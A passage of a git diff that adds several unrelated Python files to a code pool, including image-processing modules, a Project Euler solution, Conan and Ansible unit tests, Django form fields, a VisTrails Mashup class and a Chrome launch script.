parser.parse_args() + + imgs = glob.glob('{}'.format(args.in_path)) + print(len(imgs)) + + for i, img in enumerate(imgs): + pargs = [img, args.out_dir, args.file_ext, args.threshold, args.resize] + + if args.action == 'crop': + crop.process(*pargs) + elif args.action == 'segment': + segment.process(*pargs) + + if i % 100 == 0: + print("processing: {}/{}".format(i, len(imgs))) + + +if __name__ == '__main__': + main() diff --git a/pool/shard009/Python/0082449_fmfe.py b/pool/shard009/Python/0082449_fmfe.py new file mode 100644 index 0000000000000000000000000000000000000000..2d2e1b3a82afd3b3cd48409c32e1c4dfd3d42f61 --- /dev/null +++ b/pool/shard009/Python/0082449_fmfe.py @@ -0,0 +1,103 @@ +''' Module: fmfe + + Fast Multilevel Fuzzy Enhancement + Implementation of algorithm from J. Wu et al. 2007. + + Created by S.T. Castle on 2015-01-25 + + Enahnces an image prior to edge detection. +''' + +import numpy as np +import scipy +#from astropy.io import fits +#import pyfits as fits # May need to use this if astropy library unavailable. + +def fmfe(data, w, h, fuzzy_t): + '''Fast Multilevel Fuzzy Enhancement + data: 2d array + w: width + h: height + fuzzy_t: fuzzy threshold for enhancement + ''' + # Get the threshold to separate into two sets of pixels. + q = get_threshold(data, w, h) + + # Now get the mean values for the two sets, ab for the low (background) + # pixels and ao for the high (object) pixels. + sumb = 0.0 # Sum or pixel values. + numb = 0 # Number of pixels. + sumo = 0.0 + numo = 0 + # Also record min and max pixel values. + min = data[0][0] + max = 0.0 + for i in xrange(h): + for j in xrange(w): + val = data[i][j] + if val < min: min = val + if val > max: max = val + if val < q: + sumb += val + numb += 1 + else: + sumo += val + numo += 1 + ab = sumb/numb + ao = sumo/numo + + r = 2 # Number of times to enhance. + # Convert pixel values to values in fuzzy domain. + # Then enhance using the fuzzy threshold, and return to spatial domain. + for i in xrange(h): + for j in xrange(w): + p = convert_to_fuzzy(data[i][j], ab, ao, min, max) + # Enhance. + for k in range(r): + p = enhance(p, fuzzy_t) + # Transform back to the spatial domain. + p = convert_to_spatial(p, ab, ao, min, max) + data[i][j] = p + + return data + # End fmfe. + + +def get_threshold(data, w, h): + '''Return the average pixel value, excluding zero-valued pixels.''' + sum = 0.0 # Sum of pixel values. + num = 0 # Number of nonzero pixel values. + for i in xrange(h): + for j in xrange(w): + val = data[i][j] + if val: # if nonzero + sum += val + num += 1 + return (sum/num) + +def convert_to_fuzzy(x, ab, ao, min, max): + '''Linear mapping transformation from pixel value to fuzzy value.''' + if x > ao: + return ( (max-x)/(max-ao) ) + if x > ((ao+ab)/2): + return ( (2*x-ao-ab)/(ao-ab) ) + if x > ab: + return ( (ao+ab-2*x)/(ao-ab) ) + return ( (x-min)/(ab-min) ) + +def convert_to_spatial(x, ab, ao, min, max): + '''Linear mapping transformation from fuzzy value to pixel value.''' + if x > ao: + return ( max-(max-ao)*x ) + if x > ((ao+ab)/2): + return ( ((ao-ab)*x+ao+ab)/2 ) + if x > ab: + return ( (ao+ab-(ao-ab)*x)/2 ) + return ( (ab-min)*x+min ) + +def enhance(x, t): + '''Enhance a fuzzy value x according to the threshold t.''' + if x > t: + return ( 1-((1-x)**2/(1-t)) ) + return ( x**2/t ) + diff --git a/pool/shard009/Python/0082452_set_utc.py b/pool/shard009/Python/0082452_set_utc.py new file mode 100644 index 0000000000000000000000000000000000000000..d5018459f868d4b071c3694e85e882ffda78d8bf --- /dev/null +++ b/pool/shard009/Python/0082452_set_utc.py @@ -0,0 +1,27 @@ +"""Module for setting UTC time within gateway.""" +import time + +from .api_event import ApiEvent +from .frames import FrameSetUTCConfirmation, FrameSetUTCRequest + + +class SetUTC(ApiEvent): + """Class for setting UTC time within gateway.""" + + def __init__(self, pyvlx, timestamp=time.time()): + """Initialize SetUTC class.""" + super().__init__(pyvlx=pyvlx) + self.timestamp = timestamp + self.success = False + + async def handle_frame(self, frame): + """Handle incoming API frame, return True if this was the expected frame.""" + if not isinstance(frame, FrameSetUTCConfirmation): + return False + self.success = True + return True + + def request_frame(self): + """Construct initiating frame.""" + timestamp = int(self.timestamp) + return FrameSetUTCRequest(timestamp=timestamp) diff --git a/pool/shard009/Python/0082454_solution.py b/pool/shard009/Python/0082454_solution.py new file mode 100644 index 0000000000000000000000000000000000000000..82fc3ce3c9dbebd56f4bf8f93e2cd4eacd553681 --- /dev/null +++ b/pool/shard009/Python/0082454_solution.py @@ -0,0 +1,64 @@ +""" +By starting at the top of the triangle below and moving to adjacent numbers on +the row below, the maximum total from top to bottom is 23. + +3 +7 4 +2 4 6 +8 5 9 3 + +That is, 3 + 7 + 4 + 9 = 23. + +Find the maximum total from top to bottom of the triangle below: + +75 +95 64 +17 47 82 +18 35 87 10 +20 04 82 47 65 +19 01 23 75 03 34 +88 02 77 73 07 63 67 +99 65 04 28 06 16 70 92 +41 41 26 56 83 40 80 70 33 +41 48 72 33 47 32 37 16 94 29 +53 71 44 65 25 43 91 52 97 51 14 +70 11 33 28 77 73 17 78 39 68 17 57 +91 71 52 38 17 14 91 43 58 50 27 29 48 +63 66 04 68 89 53 67 30 73 16 69 87 40 31 +04 62 98 27 23 09 70 98 73 93 38 53 60 04 23 +""" +import os + + +def solution(): + """ + Finds the maximum total in a triangle as described by the problem statement + above. + + >>> solution() + 1074 + """ + script_dir = os.path.dirname(os.path.realpath(__file__)) + triangle = os.path.join(script_dir, "triangle.txt") + + with open(triangle) as f: + triangle = f.readlines() + + a = [[int(y) for y in x.rstrip("\r\n").split(" ")] for x in triangle] + + for i in range(1, len(a)): + for j in range(len(a[i])): + if j != len(a[i - 1]): + number1 = a[i - 1][j] + else: + number1 = 0 + if j > 0: + number2 = a[i - 1][j - 1] + else: + number2 = 0 + a[i][j] += max(number1, number2) + return max(a[-1]) + + +if __name__ == "__main__": + print(solution()) diff --git a/pool/shard009/Python/0082459_python_requires_test.py b/pool/shard009/Python/0082459_python_requires_test.py new file mode 100644 index 0000000000000000000000000000000000000000..c0db3eec0c0b6de0d8f6fc96d7c9ea6c7ca1e814 --- /dev/null +++ b/pool/shard009/Python/0082459_python_requires_test.py @@ -0,0 +1,123 @@ +import json +import textwrap +import unittest + +import pytest + +from conans.test.utils.tools import TestClient + + +class PyRequiresExtendTest(unittest.TestCase): + + @pytest.mark.tool_git + def test_reuse_scm(self): + client = TestClient() + conanfile = textwrap.dedent(""" + from conans import ConanFile + class SomeBase(object): + scm = {"type" : "git", + "url" : "somerepo", + "revision" : "auto"} + + class MyConanfileBase(SomeBase, ConanFile): + pass + """) + client.init_git_repo({"conanfile.py": conanfile}, branch="my_release") + client.run("export . base/1.1@user/testing") + + reuse = textwrap.dedent(""" + from conans import ConanFile + class PkgTest(ConanFile): + python_requires = "base/1.1@user/testing" + python_requires_extend = "base.SomeBase" + """) + client.save({"conanfile.py": reuse}) + client.run("export . Pkg/0.1@user/testing") + client.run("get Pkg/0.1@user/testing") + self.assertNotIn("scm = base.scm", client.out) + self.assertIn('scm = {"revision":', client.out) + self.assertIn('"type": "git",', client.out) + self.assertIn('"url": "somerepo"', client.out) + + @pytest.mark.tool_git + def test_reuse_customize_scm(self): + client = TestClient() + conanfile = textwrap.dedent(""" + from conans import ConanFile + class SomeBase(object): + base_repo = "somerepo" + scm = {"type" : "git", + "url" : base_repo, + "revision" : "auto"} + + class MyConanfileBase(SomeBase, ConanFile): + pass + """) + client.init_git_repo({"conanfile.py": conanfile}, branch="my_release") + client.run("export . base/1.1@user/testing") + client.run("get base/1.1@user/testing") + self.assertIn('"url": "somerepo"', client.out) + + reuse = textwrap.dedent(""" + from conans import ConanFile + class PkgTest(ConanFile): + base_repo = "other_repo" + python_requires = "base/1.1@user/testing" + python_requires_extend = "base.SomeBase" + def init(self): + self.scm["url"] = self.base_repo + """) + client.save({"conanfile.py": reuse}) + client.run("export . Pkg/0.1@user/testing") + client.run("get Pkg/0.1@user/testing") + self.assertNotIn("scm = base.scm", client.out) + self.assertIn('scm = {"revision":', client.out) + self.assertIn('"type": "git",', client.out) + self.assertIn('"url": "other_repo"', client.out) + + @pytest.mark.tool_git + def test_reuse_scm_multiple_conandata(self): + # https://github.com/conan-io/conan/issues/7236 + # This only works when using conandata.yml, conanfile.py replace is broken + client = TestClient() + conanfile = textwrap.dedent(""" + from conans import ConanFile + class SomeBase(object): + scm = {"type" : "git", + "url" : "remote1", + "revision" : "auto"} + + class MyConanfileBase(SomeBase, ConanFile): + pass + """) + base_rev = client.init_git_repo({"conanfile.py": conanfile}, branch="my_release", + folder="base") + client.run("config set general.scm_to_conandata=1") + client.run("export base base/1.1@user/testing") + + reuse = textwrap.dedent(""" + from conans import ConanFile + class PkgTest(ConanFile): + name = "%s" + python_requires = "base/1.1@user/testing" + python_requires_extend = "base.SomeBase" + """) + reuse1_rev = client.init_git_repo({"conanfile.py": reuse % "reuse1"}, branch="release", + folder="reuse1") + reuse2_rev = client.init_git_repo({"conanfile.py": reuse % "reuse2"}, branch="release", + folder="reuse2") + client.run("export reuse1 reuse1/1.1@user/testing") + client.run("export reuse2 reuse2/1.1@user/testing") + + client.run("inspect base/1.1@user/testing -a=scm --json=base.json") + base_json = json.loads(client.load("base.json")) + client.run("inspect reuse1/1.1@user/testing -a=scm --json=reuse1.json") + reuse1_json = json.loads(client.load("reuse1.json")) + client.run("inspect reuse2/1.1@user/testing -a=scm --json=reuse2.json") + reuse2_json = json.loads(client.load("reuse2.json")) + self.assertEqual(base_json["scm"]["revision"], base_rev) + self.assertEqual(reuse1_json["scm"]["revision"], reuse1_rev) + self.assertEqual(reuse2_json["scm"]["revision"], reuse2_rev) + self.assertNotEqual(base_rev, reuse1_rev) + self.assertNotEqual(base_rev, reuse2_rev) + self.assertNotEqual(reuse2_rev, reuse1_rev) diff --git a/pool/shard009/Python/0082463_test_vault.py b/pool/shard009/Python/0082463_test_vault.py new file mode 100644 index 0000000000000000000000000000000000000000..bb244a5ae78bfc29fea11c7600b1c5c952998ef4 --- /dev/null +++ b/pool/shard009/Python/0082463_test_vault.py @@ -0,0 +1,234 @@ +# -*- coding: utf-8 -*- +# (c) 2017, Adrian Likins +# +# This file is part of Ansible +# +# Ansible is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Ansible is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Ansible. If not, see . + +# Make coding more python3-ish +from __future__ import (absolute_import, division, print_function) +__metaclass__ = type + +import os +import pytest + +from units.compat import unittest +from units.compat.mock import patch, MagicMock +from units.mock.vault_helper import TextVaultSecret + +from ansible import context, errors +from ansible.cli.vault import VaultCLI +from ansible.module_utils._text import to_text +from ansible.utils import context_objects as co + + +# TODO: make these tests assert something, likely by verifing +# mock calls + + +@pytest.fixture(autouse='function') +def reset_cli_args(): + co.GlobalCLIArgs._Singleton__instance = None + yield + co.GlobalCLIArgs._Singleton__instance = None + + +class TestVaultCli(unittest.TestCase): + def setUp(self): + self.tty_patcher = patch('ansible.cli.sys.stdin.isatty', return_value=False) + self.mock_isatty = self.tty_patcher.start() + + def tearDown(self): + self.tty_patcher.stop() + + def test_parse_empty(self): + cli = VaultCLI(['vaultcli']) + self.assertRaises(SystemExit, + cli.parse) + + # FIXME: something weird seems to be afoot when parsing actions + # cli = VaultCLI(args=['view', '/dev/null/foo', 'mysecret3']) + # will skip '/dev/null/foo'. something in cli.CLI.set_action() ? + # maybe we self.args gets modified in a loop? + def test_parse_view_file(self): + cli = VaultCLI(args=['ansible-vault', 'view', '/dev/null/foo']) + cli.parse() + + @patch('ansible.cli.vault.VaultCLI.setup_vault_secrets') + def test_view_missing_file_no_secret(self, mock_setup_vault_secrets): + mock_setup_vault_secrets.return_value = [] + cli = VaultCLI(args=['ansible-vault', 'view', '/dev/null/foo']) + cli.parse() + self.assertRaisesRegexp(errors.AnsibleOptionsError, + "A vault password is required to use Ansible's Vault", + cli.run) + + @patch('ansible.cli.vault.VaultCLI.setup_vault_secrets') + def test_encrypt_missing_file_no_secret(self, mock_setup_vault_secrets): + mock_setup_vault_secrets.return_value = [] + cli = VaultCLI(args=['ansible-vault', 'encrypt', '/dev/null/foo']) + cli.parse() + self.assertRaisesRegexp(errors.AnsibleOptionsError, + "A vault password is required to use Ansible's Vault", + cli.run) + + @patch('ansible.cli.vault.VaultCLI.setup_vault_secrets') + @patch('ansible.cli.vault.VaultEditor') + def test_encrypt(self, mock_vault_editor, mock_setup_vault_secrets): + mock_setup_vault_secrets.return_value = [('default', TextVaultSecret('password'))] + cli = VaultCLI(args=['ansible-vault', 'encrypt', '/dev/null/foo']) + cli.parse() + cli.run() + + @patch('ansible.cli.vault.VaultCLI.setup_vault_secrets') + @patch('ansible.cli.vault.VaultEditor') + def test_encrypt_string(self, mock_vault_editor, mock_setup_vault_secrets): + mock_setup_vault_secrets.return_value = [('default', TextVaultSecret('password'))] + cli = VaultCLI(args=['ansible-vault', 'encrypt_string', + 'some string to encrypt']) + cli.parse() + cli.run() + + @patch('ansible.cli.vault.VaultCLI.setup_vault_secrets') + @patch('ansible.cli.vault.VaultEditor') + @patch('ansible.cli.vault.display.prompt', return_value='a_prompt') + def test_encrypt_string_prompt(self, mock_display, mock_vault_editor, mock_setup_vault_secrets): + mock_setup_vault_secrets.return_value = [('default', TextVaultSecret('password'))] + cli = VaultCLI(args=['ansible-vault', + 'encrypt_string', + '--prompt', + '--show-input', + 'some string to encrypt']) + cli.parse() + cli.run() + args, kwargs = mock_display.call_args + assert kwargs["private"] is False + + @patch('ansible.cli.vault.VaultCLI.setup_vault_secrets') + @patch('ansible.cli.vault.VaultEditor') + @patch('ansible.cli.vault.display.prompt', return_value='a_prompt') + def test_shadowed_encrypt_string_prompt(self, mock_display, mock_vault_editor, mock_setup_vault_secrets): + mock_setup_vault_secrets.return_value = [('default', TextVaultSecret('password'))] + cli = VaultCLI(args=['ansible-vault', + 'encrypt_string', + '--prompt', + 'some string to encrypt']) + cli.parse() + cli.run() + args, kwargs = mock_display.call_args + assert kwargs["private"] + + @patch('ansible.cli.vault.VaultCLI.setup_vault_secrets') + @patch('ansible.cli.vault.VaultEditor') + @patch('ansible.cli.vault.sys.stdin.read', return_value='This is data from stdin') + def test_encrypt_string_stdin(self, mock_stdin_read, mock_vault_editor, mock_setup_vault_secrets): + mock_setup_vault_secrets.return_value = [('default', TextVaultSecret('password'))] + cli = VaultCLI(args=['ansible-vault', + 'encrypt_string', + '--stdin-name', + 'the_var_from_stdin', + '-']) + cli.parse() + cli.run() + + @patch('ansible.cli.vault.VaultCLI.setup_vault_secrets') + @patch('ansible.cli.vault.VaultEditor') + def test_encrypt_string_names(self, mock_vault_editor, mock_setup_vault_secrets): + mock_setup_vault_secrets.return_value = [('default', TextVaultSecret('password'))] + cli = VaultCLI(args=['ansible-vault', 'encrypt_string', + '--name', 'foo1', + '--name', 'foo2', + 'some string to encrypt']) + cli.parse() + cli.run() + + @patch('ansible.cli.vault.VaultCLI.setup_vault_secrets') + @patch('ansible.cli.vault.VaultEditor') + def test_encrypt_string_more_args_than_names(self, mock_vault_editor, mock_setup_vault_secrets): + mock_setup_vault_secrets.return_value = [('default', TextVaultSecret('password'))] + cli = VaultCLI(args=['ansible-vault', 'encrypt_string', + '--name', 'foo1', + 'some string to encrypt', + 'other strings', + 'a few more string args']) + cli.parse() + cli.run() + + @patch('ansible.cli.vault.VaultCLI.setup_vault_secrets') + @patch('ansible.cli.vault.VaultEditor') + def test_create(self, mock_vault_editor, mock_setup_vault_secrets): + mock_setup_vault_secrets.return_value = [('default', TextVaultSecret('password'))] + cli = VaultCLI(args=['ansible-vault', 'create', '/dev/null/foo']) + cli.parse() + cli.run() + + @patch('ansible.cli.vault.VaultCLI.setup_vault_secrets') + @patch('ansible.cli.vault.VaultEditor') + def test_edit(self, mock_vault_editor, mock_setup_vault_secrets): + mock_setup_vault_secrets.return_value = [('default', TextVaultSecret('password'))] + cli = VaultCLI(args=['ansible-vault', 'edit', '/dev/null/foo']) + cli.parse() + cli.run() + + @patch('ansible.cli.vault.VaultCLI.setup_vault_secrets') + @patch('ansible.cli.vault.VaultEditor') + def test_decrypt(self, mock_vault_editor, mock_setup_vault_secrets): + mock_setup_vault_secrets.return_value = [('default', TextVaultSecret('password'))] + cli = VaultCLI(args=['ansible-vault', 'decrypt', '/dev/null/foo']) + cli.parse() + cli.run() + + @patch('ansible.cli.vault.VaultCLI.setup_vault_secrets') + @patch('ansible.cli.vault.VaultEditor') + def test_view(self, mock_vault_editor, mock_setup_vault_secrets): + mock_setup_vault_secrets.return_value = [('default', TextVaultSecret('password'))] + cli = VaultCLI(args=['ansible-vault', 'view', '/dev/null/foo']) + cli.parse() + cli.run() + + @patch('ansible.cli.vault.VaultCLI.setup_vault_secrets') + @patch('ansible.cli.vault.VaultEditor') + def test_rekey(self, mock_vault_editor, mock_setup_vault_secrets): + mock_setup_vault_secrets.return_value = [('default', TextVaultSecret('password'))] + cli = VaultCLI(args=['ansible-vault', 'rekey', '/dev/null/foo']) + cli.parse() + cli.run() + + +@pytest.mark.parametrize('cli_args, expected', [ + (['ansible-vault', 'view', 'vault.txt'], 0), + (['ansible-vault', 'view', 'vault.txt', '-vvv'], 3), + (['ansible-vault', '-vv', 'view', 'vault.txt'], 2), + # Due to our manual parsing we want to verify that -v set in the sub parser takes precedence. This behaviour is + # deprecated and tests should be removed when the code that handles it is removed + (['ansible-vault', '-vv', 'view', 'vault.txt', '-v'], 1), + (['ansible-vault', '-vv', 'view', 'vault.txt', '-vvvv'], 4), +]) +def test_verbosity_arguments(cli_args, expected, tmp_path_factory, monkeypatch): + # Add a password file so we don't get a prompt in the test + test_dir = to_text(tmp_path_factory.mktemp('test-ansible-vault')) + pass_file = os.path.join(test_dir, 'pass.txt') + with open(pass_file, 'w') as pass_fd: + pass_fd.write('password') + + cli_args.extend(['--vault-id', pass_file]) + + # Mock out the functions so we don't actually execute anything + for func_name in [f for f in dir(VaultCLI) if f.startswith("execute_")]: + monkeypatch.setattr(VaultCLI, func_name, MagicMock()) + + cli = VaultCLI(args=cli_args) + cli.run() + + assert context.CLIARGS['verbosity'] == expected diff --git a/pool/shard009/Python/0082465_form_fields.py b/pool/shard009/Python/0082465_form_fields.py new file mode 100644 index 0000000000000000000000000000000000000000..85df3c924b04f71c91eb6eaa369507b55a39f5d2 --- /dev/null +++ b/pool/shard009/Python/0082465_form_fields.py @@ -0,0 +1,20 @@ +from django import forms +from django.db.models import get_model + +from widgets import ManyToManyWidget, SelectWidget + +class ModelMultipleChoiceField(forms.ModelMultipleChoiceField): + def __init__(self, model_str, search_field, **kwargs): + defaults = { + 'widget': ManyToManyWidget(model_str, search_field), + } + defaults.update(kwargs) + super(ModelMultipleChoiceField, self).__init__(**defaults) + +class ModelChoiceField(forms.ModelChoiceField): + def __init__(self, model_str, search_field, **kwargs): + defaults = { + 'widget': SelectWidget(model_str, search_field), + } + defaults.update(kwargs) + super(ModelChoiceField, self).__init__(**defaults) \ No newline at end of file diff --git a/pool/shard009/Python/0082466_mashup.py b/pool/shard009/Python/0082466_mashup.py new file mode 100644 index 0000000000000000000000000000000000000000..a91585166bddba546b196e47585b1b6d59c921a5 --- /dev/null +++ b/pool/shard009/Python/0082466_mashup.py @@ -0,0 +1,327 @@ +############################################################################### +## +## Copyright (C) 2014-2016, New York University. +## Copyright (C) 2011-2014, NYU-Poly. +## Copyright (C) 2006-2011, University of Utah. +## All rights reserved. +## Contact: contact@vistrails.org +## +## This file is part of VisTrails. +## +## "Redistribution and use in source and binary forms, with or without +## modification, are permitted provided that the following conditions are met: +## +## - Redistributions of source code must retain the above copyright notice, +## this list of conditions and the following disclaimer. +## - Redistributions in binary form must reproduce the above copyright +## notice, this list of conditions and the following disclaimer in the +## documentation and/or other materials provided with the distribution. +## - Neither the name of the New York University nor the names of its +## contributors may be used to endorse or promote products derived from +## this software without specific prior written permission. +## +## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +## AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, +## THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +## PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR +## CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +## EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +## PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; +## OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +## WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +## OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +## ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +## +############################################################################### +from __future__ import division + +from vistrails.db.domain import IdScope +from vistrails.db.domain import DBMashup +from vistrails.core.mashup import conv_to_bool, conv_from_bool +from vistrails.core.mashup.alias import Alias +from vistrails.core.mashup.component import Component +from vistrails.core.system import get_elementtree_library + +import unittest +import copy + +ElementTree = get_elementtree_library() + +class Mashup(DBMashup): + def __init__(self, id, name, vtid=None, version=None, alias_list=None, + t='vistrail', has_seq=None, layout='', geometry='', + id_scope=IdScope()): + if has_seq is None: + has_seq = 0 + + DBMashup.__init__(self, id, name, version, alias_list, t, vtid, layout, + geometry, has_seq) + self.id_scope = id_scope + if has_seq is None: + self.has_seq = False + if isinstance(self.alias_list, list): + for v in self.alias_list: + if v.component.seq == True: + self.has_seq = True + else: + self.has_seq = has_seq + id = DBMashup.db_id + name = DBMashup.db_name + version = DBMashup.db_version + alias_list = DBMashup.db_aliases + aliases = DBMashup.db_aliases + vtid = DBMashup.db_vtid + type = DBMashup.db_type + layout = DBMashup.db_layout + geometry = DBMashup.db_geometry + + def _get_has_seq(self): + return conv_to_bool(self.db_has_seq) + def _set_has_seq(self, s): + self.db_has_seq = conv_from_bool(s) + has_seq = property(_get_has_seq,_set_has_seq) + + @staticmethod + def convert(_mashup): + _mashup.__class__ = Mashup + + for alias in _mashup.alias_list: + Alias.convert(alias) + + def __copy__(self): + return Mashup.do_copy(self) + + def do_copy(self, new_ids=False, id_scope=None, id_remap=None): + """do_copy() -> Mashup + returns a clone of itself""" + cp = DBMashup.do_copy(self, new_ids, id_scope, id_remap) + Mashup.convert(cp) + return cp + + ########################################################################## + # Serialization / Unserialization + +# def toXml(self, node=None): +# """toXml(node: ElementTree.Element) -> ElementTree.Element +# writes itself to xml +# """ +# +# if node is None: +# node = ElementTree.Element('mashup') +# +# #set attributes +# node.set('id', self.convert_to_str(self.id,'long')) +# node.set('version', self.convert_to_str(self.version,'long')) +# node.set('vtid', self.convert_to_str(self.vtid,'str')) +# node.set('name', self.convert_to_str(self.name,'str')) +# node.set('type', self.convert_to_str(self.type,'str')) +# node.set('has_seq', self.convert_to_str(self.has_seq,'bool')) +# for v in self.alias_list: +# child_ = ElementTree.SubElement(node, 'alias') +# v.toXml(child_) +# +# layoutnode = ElementTree.SubElement(node,'layout') +# layoutnode.text = str(self.layout) +# +# geomnode = ElementTree.SubElement(node,'geometry') +# geomnode.text = str(self.geometry) +# +# return node +# +# @staticmethod +# def fromXml(node): +# if node.tag != 'mashup': +# #print "node.tag != 'mashup'" +# return None +# #read attributes +# data = node.get('id', None) +# id = Mashup.convert_from_str(data, 'long') +# data = node.get('name', None) +# name = Mashup.convert_from_str(data, 'str') +# data = node.get('version', None) +# version = Mashup.convert_from_str(data, 'long') +# data = node.get('vtid', None) +# vtid = Mashup.convert_from_str(data, 'str') +# data = node.get('type', None) +# type = Mashup.convert_from_str(data, 'str') +# data = node.get('has_seq', None) +# seq = Component.convert_from_str(data, 'bool') +# alias_list = [] +# layout = None +# geometry = None +# for child in node.getchildren(): +# if child.tag == "alias": +# alias = Alias.fromXml(child) +# alias_list.append(alias) +# if child.tag == "layout": +# layout = str(child.text).strip(" \n\t") +# if child.tag == "geometry": +# geometry = str(child.text).strip(" \n\t") +# return Mashup(id=id, name=name, vtid=vtid, version=version, +# alias_list=alias_list, t=type, has_seq=seq, +# layout=layout, geometry=geometry) + + def loadAliasesFromPipeline(self, pipeline, id_scope): + """loadAliasesFromPipelines(pipeline: Pipeline) -> None + This will replace current aliases with the ones present in Pipeline + + """ + + if pipeline: + self.alias_list = [] + if len(pipeline.aliases) > 0: + pos = 0 + for aname,info in pipeline.aliases.iteritems(): + parameter = pipeline.db_get_object(info[0],info[1]) + cid = id_scope.getNewId('component') + aid = id_scope.getNewId('alias') + component = Component(cid, parameter.vtType, + parameter.real_id, info[2], info[3], + info[4], parameter.type, + parameter.strValue, parameter.pos, + pos, "") + alias = Alias(aid, aname, component) + self.alias_list.append(alias) + pos += 1 + + def remapPipelineObjects(self, id_remap): + for alias in self.alias_list: + try: + new_pid = id_remap[(alias.component.vtparent_type, + alias.component.vtparent_id)] + alias.component.vtparent_id = new_pid + new_id = id_remap[(alias.component.vttype,alias.component.vtid)] + alias.component.vtid = new_id + except Exception: + pass + + def validateForPipeline(self, pipeline): + """validateForPipeline(pipeline) -> None + This will make sure that the parameters in the alias list are present + in the pipeline. If they were removed, the aliases pointing to it will + be removed. This changes the mashup in place """ + to_remove = [] + for alias in self.alias_list: + try: + param = pipeline.db_get_object(alias.component.vttype, + alias.component.vtid) + except Exception: + to_remove.append(alias) + for a in to_remove: + self.alias_list.remove(a) + pos = 0 + mashup_aliases = [] + for a in self.alias_list: + mashup_aliases.append(a.name) + a.component.pos = pos + pos+=1 + + for a, info in pipeline.aliases.iteritems(): + if a not in mashup_aliases: + parameter = pipeline.db_get_object(info[0],info[1]) + cid = self.id_scope.getNewId('component') + aid = self.id_scope.getNewId('alias') + component = Component(cid, parameter.vtType, + parameter.real_id, info[2], info[3], + info[4], parameter.type, + parameter.strValue, parameter.pos, + pos, "") + newalias = Alias(aid, a, component) + self.alias_list.append(newalias) + pos +=1 + + def getAliasByName(self, name): + for alias in self.alias_list: + if alias.name == name: + return alias + + ########################################################################## + # Operators + + def __str__(self): + """ __str__() -> str - Returns a string representation of itself """ + + return ("(Mashup id='%s' name='%s' version='%s' vtid='%s' type='%s' \ +layout='%s' geometry='%s' alias_list='%s')@%X" % + (self.id, + self.name, + self.version, + self.vtid, + self.type, + self.layout, + self.geometry, + self.alias_list, + id(self))) + + def __eq__(self, other): + """ __eq__(other: Mashup) -> boolean + Returns True if self and other have the same attributes. Used by == + operator. + + """ + if type(self) != type(other): + return False + if self.name != other.name: + return False + if self.vtid != other.vtid: + return False + if self.version != other.version: + return False + if self.type != other.type: + return False + if self.layout != other.layout: + return False + if self.geometry != other.geometry: + return False + if len(self.alias_list) != len(other.alias_list): + return False + for p,q in zip(self.alias_list, other.alias_list): + if p != q: + return False + return True + + def __ne__(self, other): + """ __ne__(other: Component) -> boolean + Returns True if self and other don't have the same attributes. + Used by != operator. + + """ + return not self.__eq__(other) + +################################################################################ + + +class TestMashup(unittest.TestCase): + def create_mashup(self, id_scope=IdScope()): + c1 = Component(id=id_scope.getNewId('mashup_component'), + vttype='parameter', param_id=15L, + parent_vttype='function', parent_id=3L, mid=4L, + type='String', value='test', p_pos=0, pos=1, + strvaluelist='test1,test2', widget="text") + a1 = Alias(id=id_scope.getNewId('mashup_alias'), name='alias1', component=c1) + + m = Mashup(id=id_scope.getNewId('mashup'), name='mashup1', vtid='empty.vt', + version=15L, alias_list=[a1]) + return m + + def test_copy(self): + id_scope = IdScope() + m1 = self.create_mashup(id_scope) + m2 = copy.copy(m1) + self.assertEqual(m1, m2) + self.assertEqual(m1.id, m2.id) + m3 = m2.do_copy(True, id_scope, {}) + self.assertEqual(m1, m3) + self.assertNotEqual(m1.id, m3.id) + +# def test_serialization(self): +# m1 = self.create_mashup() +# node = m1.toXml() +# m2 = Mashup.fromXml(node) +# self.assertEqual(m1, m2) +# self.assertEqual(m1.id, m2.id) + + def test_str(self): + m1 = self.create_mashup() + str(m1) + diff --git a/pool/shard009/Python/0082475_mr-run.py b/pool/shard009/Python/0082475_mr-run.py new file mode 100644 index 0000000000000000000000000000000000000000..e65ba2c39454392be863c7d58c3763f4bfc82a0b --- /dev/null +++ b/pool/shard009/Python/0082475_mr-run.py @@ -0,0 +1,90 @@ +#!/usr/bin/python3 + +import getopt +import os +import shutil +import sys + +import chrome_common + +VMODULE_PATTERNS = [ + "?resentation*", + "cast_*" + "media_r*", + "offscreen_tab*", + "dial*", + "cast_cert*", +] + +def RunChromeBuild(path, chrome_folder, user_dir, vmodule, prefix_args, extra_args): + vmodule_arg = ",".join([pattern + "=2" for pattern in VMODULE_PATTERNS + vmodule]) + args = prefix_args + [ + "--enable-logging", + "--also-log-to-stderr", + "--vmodule=" + vmodule_arg, + "--no-proxy-server", + "--unsafely-treat-insecure-origin-as-secure=http://web-platform.test:8001", + "--enable-experimental-web-platform-features", + "--disable-gesture-requirement-for-presentation", + ] + chrome_common.RunChrome( + os.path.join(chrome_folder, "chrome"), + 'local', + chrome_common.CHROME_FEATURES, + user_dir, + args, + extra_args) + + +def RemoveUserDir(user_dir): + if os.access(user_dir, os.W_OK): + print ("Removing %s..." % user_dir) + shutil.rmtree(user_dir) + + +def PrintUsage(): + print ("Runs a local Chrome build in $CHROMIUM_SRC/out/debug") + print ("Extra arguments are passed to Chrome.") + print (" -d|--debug: Run under GDB.") + print (" -c|--clean: Start with an empty user data dir.") + print (" -b|--build : Find Chrome in $CHROMIUM_SRC/out/.") + print 